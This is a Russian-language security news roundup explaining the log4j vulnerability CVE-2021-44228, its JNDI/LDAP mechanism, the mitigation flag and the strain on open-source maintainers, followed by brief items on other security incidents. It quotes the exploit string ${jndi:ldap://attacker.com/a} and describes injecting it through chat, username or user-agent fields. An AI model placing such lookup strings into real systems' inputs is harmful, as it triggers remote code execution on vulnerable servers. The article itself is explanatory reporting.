Security Week 50: драма вокруг log4j

Security Week 50: драма вокруг log4j
На прошлой неделе, 9 декабря, были обнародованы детали уязвимости в Apache log4j , библиотеке для сбора и обработки логов. Уязвимость CVE-2021-44228 приводит к выполнению произвольного кода и эксплуатируется тривиально, о чем свидетельствует самый высокий рейтинг по шкале CVSS — 10 баллов. Это достаточно редкий в сфере информационной безопасности случай «идеального шторма»: уязвимость эксплуатируется легко, при этом подчас сложно определить все уязвимые приложения в инфраструктуре и накатить патч в условиях активных попыток взлома.

0c0526eaab37735ed642c2c04d334e15.jpeg

Дыру в log4j часто сравнивают с уязвимостью Heartbleed 2014 года. Тогда в библиотеке OpenSSL была обнаружена ошибка, приводящая к утечке данных из памяти. Она позволяла удаленно и скрытно извлекать секреты, и также принесла администраторам систем массу проблем. Сложно было не столько обнаружить все уязвимые инсталляции, сколько определить, какие данные теоретически могли быть похищены. У Heartbleed и безымянной (не считая креатива в MS Paint) уязвимости в log4j есть и еще один общий момент: это открытые проекты, разрабатываемые в условиях перманентной нехватки ресурсов.

ce8c7e2c4eb651244829251c4f9f9859.png


Ссылки по теме:

  • Обсуждение на Хабре.
  • Запись CVE в базе данных MITRE.
  • Пост в блоге компании Cloudflare с описанием уязвимости.
  • От них же — сводка по попыткам эксплуатации.
  • Два тикета в баг-трекере Apache.
  • Обновляемый пост в блоге компании Lunasec с примерами кода.
  • Подробное исследование 2016 года, в котором описываются общие методы эксплуатации уязвимостей, подобных обнаруженной в log4j.
Последняя ссылка в списке представляет особенный интерес: на конференции BlackHat 2016 года проблема 2021 года была, по сути, предсказана. Там описываются общие принципы работы интерфейса JNDI (Java Naming and Directory Interface), который позволяет программе на языке Java находить и подключать внешние объекты данных. В 2013 году в log4j версии 2.0 добавляется фича JNDI Lookup Plugin . Была реализована комбинация из интерфейса JNDI и протокола LDAP, позволяющая получать и выполнять данные откуда угодно. Команда на запрос объекта выглядит примерно так:

${jndi:ldap://attacker.com/a}

Проблема заключается в том, что log4j никак не ограничивал прием данных — они могли быть загружены откуда угодно. Более того, строка обрабатывалась при обнаружении в логах (а не только, например, в конфигурационных файлах, которые контролирует только администратор), то есть у потенциального атакующего появлялась возможность направить log4j на вредоносный объект и выполнить его на сервере жертвы. Уязвимость закрыта в версии 2.15.0, но еще какое-то время потребуется на включение обновленной библиотеки в использующее ее программное обеспечение. Временное решение до установки патча — отключить уязвимую функциональность:

JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true"

Уязвимого софта, использующего log4j, много. Есть как очевидные примеры (фреймворк Apache Struts), так и нетривиальные (ПО для реверс-инжиниринга Ghidra).

4b7aee46598456cab52d3d300dcc6167.png


Первые публичные сообщения об эксплуатации уязвимости и вовсе пошли от владельцев игровых серверов Minecraft — там для взлома оказалось достаточно сбросить волшебное заклинание в чат. Отсюда и высочайшая оценка опасности данной проблемы: оказаться в логах можно разными путями, иногда простейшими. Ввести строку-запрос к вредоносному серверу вместо имени пользователя или даже подключиться к серверу, передав код в поле user-agent. В ближайшее время мы наверняка узнаем и о менее очевидных способах эксплуатации. Проблема настолько серьезная, что компания Cloudflare начала фильтровать характерные запросы в трафике для всех своих клиентов.

f871dbbbd3fa3e34f689d7d5e02e3025.png
Уязвимость в log4j вновь поднимает вопрос нехватки ресурсов при разработке стратегически важного кода. В твите выше приведена цитата от одного из разработчиков log4j, который работает над проектом «в свободное время». Не получившие достаточного внимания «общественные» проекты потом используются в крупных коммерческих решениях, что в результате и приводит к драме прошлой недели. Когда обнаруживается ошибка, добровольцы-мейнтейнеры ничего, кроме проклятий, не получают, и с этим, кажется, надо что-то делать. А пока выходит классическая ситуация из этого комикса XKCD:

1e3eb8087adb656bb9e66470b7a4f9c7.png

Что еще произошло:

835449db9a0d5a4b37d09998740de064.png
Своего рода антитеза к описанному выше пожару: 8 декабря идентификатор CVE присвоили стандартной фиче в Raspberry Pi OS. Многим известно, что из коробки эта система получает стандартного пользователя pi с паролем raspberry. И нет, эту «проблему» нельзя просто так взять и эксплуатировать, так как сервер ssh для удаленного доступа по умолчанию выключен. В обсуждениях уже назвали создание CVE для такой банальности дурацким хайпом, но есть нюанс. Raspberry Pi хоть и является любительским микрокомпьютером, однако вполне может оказаться в составе корпоративной инфраструктуры. Пароль в таком случае желательно поменять. Можно ли гарантировать, что его будут менять все и всегда? Вряд ли. CVE, таким образом, может служить не откровением о ранее неизвестной прорехе, а пунктом для проверки в списке аудитора безопасности.

Редкое сочетание багов в Android и приложении Microsoft Teams (и только если вы там не залогинены) не позволяет позвонить с телефона в службы спасения.

Свежее исследование описывает бэкдор, распространяемый в качестве довеска к редактору Notepad++.

Издание Vice пишет про рекламный модуль, внедренный в ряд приложений под Android, который собирал данные о местоположении пользователя, даже если тот запрещал это делать. Скрытая слежка была обнаружена еще в октябре, а на прошлой неделе компания Google потребовала от разработчиков приложений явно декларировать постоянную геолокацию.
log4j
Alt text

Один хакер может причинить столько же вреда, сколько 10 000 солдат! Подпишись на наш Телеграм канал, чтобы узнать первым, как выжить в цифровом кошмаре!